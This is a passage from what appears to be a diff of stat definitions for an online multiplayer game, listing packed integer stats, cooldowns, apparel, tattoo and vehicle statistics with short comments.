Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT536 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT537 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT538 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT539 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT540 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT541 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT542 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT543 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT544 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT545 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT546 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT547 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT548 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT549 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT550 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT551 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT552 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT553 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT554 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT555 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT556 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT557 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT558 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT559 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT560 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT561 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT562 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT563 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT564 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT565 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT566 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT567 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT568 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT569 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT570 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT571 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT572 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT573 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT574 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT575 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT576 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT577 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT578 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT579 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT580 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT581 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT582 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT583 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT584 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT585 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT586 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT587 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT588 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT589 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT590 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT591 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT592 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT593 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT594 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT595 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT596 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT597 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT598 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT599 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT600 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT601 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT602 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT603 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT604 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT605 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT606 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT607 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT608 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT609 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT610 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT611 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT612 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT613 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT614 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT615 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT616 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT617 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT618 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT619 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT620 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT621 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT622 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT623 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT624 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT625 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT626 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT627 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT628 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT629 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT630 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT631 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT632 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT633 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT634 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT635 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT636 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT637 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT638 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT639 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT640 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT641 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT642 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT643 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT644 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT645 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT646 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT647 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT648 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT649 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT650 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT651 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT652 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT653 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT654 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT655 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT656 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT657 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT658 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT659 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT660 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT661 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT662 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT663 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT664 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT665 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT666 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT667 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT668 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT669 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT670 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT671 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT672 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT673 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT674 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT675 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT676 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT677 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT678 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT679 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT680 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT681 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT682 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT683 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT684 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT685 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT686 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT687 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT688 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT689 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT690 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT691 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT692 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT693 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT694 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT695 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT696 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT697 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT698 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT699 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT700 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT701 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT702 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT703 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT704 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT705 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT706 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT707 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT708 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(int)OWNED_IE_WAREHOUSE // Add MP0_ or MP1_ // Import-Export warehouse ownership +(int)OWNED_IE_WAREHOUSE_VAR // Add MP0_ or MP1_ // Import-Export warehouse ownership +(int)CHAR_APPEARANCE_COOLDOWN // Add MP0_ or MP1_ // CHARACTER_APPEARANCE_COOLDOWN +(int)CHAR_APPEARANCE_CAP_TIME // Add MP0_ or MP1_ // CHARACTER_APPEARANCE_CAP_TIME +(int)CHAR_APPEARANCE_CAP_INST // Add MP0_ or MP1_ // CHARACTER_APPEARANCE_CAP_INST +(int)PROP_OFFICE_GAR1_LIGHTING // Add MP0_ or MP1_ // PROP_OFFICE_GAR1_LIGHTING +(int)PROP_OFFICE_GAR1_NUMBERING // Add MP0_ or MP1_ // PROP_OFFICE_GAR1_NUMBERING +(int)PROP_OFFICE_GAR2_LIGHTING // Add MP0_ or MP1_ // PROP_OFFICE_GAR2_LIGHTING +(int)PROP_OFFICE_GAR2_NUMBERING // Add MP0_ or MP1_ // PROP_OFFICE_GAR2_NUMBERING +(int)PROP_OFFICE_GAR3_LIGHTING // Add MP0_ or MP1_ // PROP_OFFICE_GAR3_LIGHTING +(int)PROP_OFFICE_GAR3_NUMBERING // Add MP0_ or MP1_ // PROP_OFFICE_GAR3_NUMBERING +(int)PROP_OFFICE_MODSHOP // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(packed)DLCBIKEPSTAT_BOOL2 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)IMPEXPPSTAT_INT709 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT710 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT711 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT712 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT713 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(int)IE_PLOUGH_CD // Add MP0_ or MP1_ // Cool downs +(int)IE_FULLY_CD // Add MP0_ or MP1_ // Cool downs +(int)IE_AMPH_CD // Add MP0_ or MP1_ // Cool downs +(int)IE_TRANS_CD // Add MP0_ or MP1_ // Cool downs +(int)IE_FORT_CD // Add MP0_ or MP1_ // Cool downs +(int)IE_VELO_CD // Add MP0_ or MP1_ // Cool downs +(int)IE_RAMP_CD // Add MP0_ or MP1_ // Cool downs +(int)IE_STOCK_CD // Add MP0_ or MP1_ // Cool downs +(int)AT_FLOW_VEHICLE_BS // Add MP0_ or MP1_ // flow tracker for discounted veh +(int)LFETIME_IE_STEAL_STARTED // Add MP0_ or MP1_ // track lifetime import export steal missions started +(int)LFETIME_IE_EXPORT_STARTED // Add MP0_ or MP1_ // track lifetime import export exports started +(int)LFETIME_IE_EXPORT_COMPLETED // Add MP0_ or MP1_ // track lifetime import export exports completed +(int)LFETIME_IE_MISSION_EARNINGS // Add MP0_ or MP1_ // track lifetime import export mission earnings + + +(int)VEHICLE_BULLET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)VEHICLE_BULLET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)VEHICLE_BULLET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)VEHICLE_BULLET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(u32)VEHICLE_BULLET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)VEHICLE_BULLET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) + +(int)DLC_APPAREL_ACQUIRED_89 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_90 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_91 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_92 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_93 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_94 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_95 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_96 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_97 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_98 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_99 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_100 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_89 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_90 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_91 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_92 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_93 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_94 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_95 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_96 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_97 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_98 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_99 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_100 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)TATTOO_FM_UNLOCKS_26 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_26 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_26 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_UNLOCKS_27 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_27 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_27 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 + +(int)IMP_EXP_COMP_TUTORIALS1 // Add MP0_ or MP1_ // track SecuroServ and AdHawk tutorials +(int)IMP_EXP_COMP_TUTORIALS2 // Add MP0_ or MP1_ // track SecuroServ and AdHawk tutorials + +(int)BS_PURCHASED_SPECIAL_VEH // Add MP0_ or MP1_ // Bitset if player has purchased a ImpExp Special Vehicle + +(int)IMP_EXP_MODS_MISS_DIAL // Add MP0_ or MP1_ // Dialogue for IE mission carmod + +(int)IMP_EXP_SELL_MISSION_CD // Add MP0_ or MP1_ // Track Import export sell mission cooldown time remaining +(int)ILLUMINATED_CLOTHING // Add MP0_ or MP1_ // Players clothing illumination style +(int)VEH_CARGO_STEAL_TIME // Add MP0_ or MP1_ // limiting players rewards for stealing vehicle cargo. +(int)VEH_CARGO_STEAL_NUM // Add MP0_ or MP1_ // limiting players rewards for stealing vehicle cargo. +(int)MPPLY_CURR_SPEC_SERIES_HASH // Stunt Series Flow - Can we get a new block of help text we can turn on for when we add additional races to the Stunt Series +(int)MPPLY_CURR_CHAL_SERIES_HASH // Stunt Series Flow - Can we get a new block of help text we can turn on for when we add additional races to the Stunt Series +(short)MPPLY_PERSZOLAPUMA0 // DD +(short)MPPLY_PERSZOLAPUMA1 // DD +(short)MPPLY_PERSZOLAPUMA2 // DD +(short)MPPLY_PERSZOLAPUMA3 // DD +(short)MPPLY_PERSZOLAPUMA4 // DD +(short)MPPLY_SOLDZOLAPUMA0 // DD +(short)MPPLY_SOLDZOLAPUMA1 // DD +(short)MPPLY_SOLDZOLAPUMA2 // DD +(short)MPPLY_SOLDZOLAPUMA3 // DD +(short)MPPLY_SOLDZOLAPUMA4 // DD +(short)MPPLY_KNOWNDOZERPUMA0 // DD +(short)MPPLY_KNOWNDOZERPUMA1 // DD +(short)MPPLY_KNOWNDOZERPUMA2 // DD +(short)MPPLY_KNOWNDOZERPUMA3 // DD +(short)MPPLY_KNOWNDOZERPUMA4 // DD +(short)MPPLY_KNOWNDOZERPUMA5 // DD +(short)MPPLY_KNOWNDOZERPUMA6 // DD +(short)MPPLY_KNOWNDOZERPUMA7 // DD 